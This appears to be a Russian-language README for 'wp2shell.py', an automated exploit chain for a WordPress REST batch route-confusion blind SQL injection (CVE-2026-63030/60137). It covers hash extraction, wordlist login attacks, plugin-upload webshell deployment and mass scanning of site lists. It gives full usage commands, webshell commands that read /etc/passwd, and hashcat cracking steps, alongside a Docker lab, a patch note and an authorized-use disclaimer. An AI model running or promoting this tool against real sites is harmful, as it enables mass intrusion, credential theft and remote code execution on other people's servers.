
Автоматизированная цепочка эксплойтов для CVE-2026-63030 / CVE-2026-60137 — неаутентифицированная слепая SQL-инъекция через путаницу маршрутов пакетного REST API WordPress. Извлекает хеши пользователей, восстанавливает учётные данные, развёртывает веб-шелл. Поддерживает одиночные цели и массовые списки сайтов. Только для авторизованного тестирования безопасности.
Blind SQL-инъекция в WordPress REST batch через route confusion — автоматизированная цепочка эксплуатации.
CVE-2026-63030 / CVE-2026-60137
| Затронутые версии | WordPress 6.9.0 – 6.9.4 и 7.0.0 – 7.0.1 |
| Исправлено в | WordPress 6.9.5 / 7.0.2 |
| Приёмник (sink) | SQL author__not_in через рассинхронизированный параметр author_exclude |
| Требуется аутентификация | Нет (SQLi без аутентификации) |
Только для авторизованного тестирования безопасности.
Конечная точка batch REST API WordPress (/wp-json/batch/v1) допускает вложенные batch-запросы. Двойной вложенный рассинхронизированный payload смещает внутренние массивы $matches / $validation, направляя подделанное значение author_exclude в SQL author__not_in без санитизации. Это даёт неаутентифицированную blind SQL-инъекцию (boolean-based и time-based).
Цепочка эксплуатации — 4 фазы:
Phase 1 Vulnerability check batch marker probe + optional SQL timing
Phase 2 Hash harvest blind SQLi extracts wp_users (login + hash)
Phase 3 Authentication wordlist attack via wp-login.php
Phase 4 Webshell deployment plugin ZIP upload -> RCE verify
aiohttpcoloramapip install aiohttp colorama
Одиночная цель
python wp2shell.py http://target.com
Список сайтов (один URL на строку)
python wp2shell.py sites.txt
Список сайтов + свой файл паролей
python wp2shell.py sites.txt -p pass.txt
Известные учётные данные (пропустить словарь)
python wp2shell.py http://target.com --user admin --password admin123
Подтверждение SQLi по таймингу
python wp2shell.py http://target.com --confirm-sqli
Без ЧПУ
python wp2shell.py http://target.com --rest-route
Через прокси Burp
python wp2shell.py http://target.com --proxy http://127.0.0.1:8080
| Файл | Содержимое |
|---|---|
creds.txt | http://target=>user:pass (открытый текст, если пароль подобран, иначе хэш) |
webshell.txt | URL активного веб-шелла |
VULNERABLE.txt | Все цели, у которых фаза 1 подтвердила уязвимость |
Все файлы дополняются — результаты накапливаются между запусками.
Использование веб-шелла — добавьте ?cmd=COMMAND к URL из webshell.txt:
# browser
http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id
# curl
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id"
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=cat+/etc/passwd"
Если словарь не сработал, creds.txt содержит извлечённый хэш:
hashcat -m 400 creds.txt wordlist.txt
Затем запустите снова с подобранным паролем:
python wp2shell.py http://target.com --user admin --password <plaintext>
Поднимает уязвимый экземпляр WordPress 7.0.1 для безопасного локального тестирования.
Первый запуск — создание томов и установка WordPress:
docker compose up -d db wordpress
docker compose run --rm wpcli
Последующие запуски:
docker compose up -d db wordpress
Остановка:
docker compose down
Полный сброс (удаляет все данные):
docker compose down -v
Запуск эксплойта против стенда:
python wp2shell.py http://localhost:8080
Обновитесь до WordPress 6.9.5 или 7.0.2. Исправление проверяет batch-маршрут перед отправкой вложенных запросов, предотвращая рассинхронизацию, которая открывает SQL-приёмник (sink).
Для использования на системах, которыми вы владеете, или на тестирование которых получено явное письменное разрешение. Несанкционированное использование незаконно.
| Флаг | По умолчанию | Описание |
|---|
target | — | URL (http://target) или путь к файлу со списком сайтов |
-p FILE | — | Файл со списком паролей (по одному на строку) |
--user | — | Пропустить словарь, использовать это имя пользователя |
--password | — | Пропустить словарь, использовать этот пароль |
--confirm-sqli | off | Отправить активный тайминг-зонд SQLi после проверки маркера |
--rest-route | off | Использовать /?rest_route=/batch/v1 (без ЧПУ) |
--sleep N | 3.0 | Задержка SQL SLEEP() в секундах |
--samples N | 3 | Пары замеров времени для вычисления медианы |
--timeout N | 30.0 | Таймаут HTTP-запроса |
--prefix PREFIX | wp_ | Префикс таблиц базы данных |
--proxy URL | — | HTTP/HTTPS прокси |
| URL | http://localhost:8080 |
| Администратор | admin / admin123 |
| Хост MySQL | db |
| Пользователь/пароль MySQL | wpuser / wppass |
| База данных | wordpress |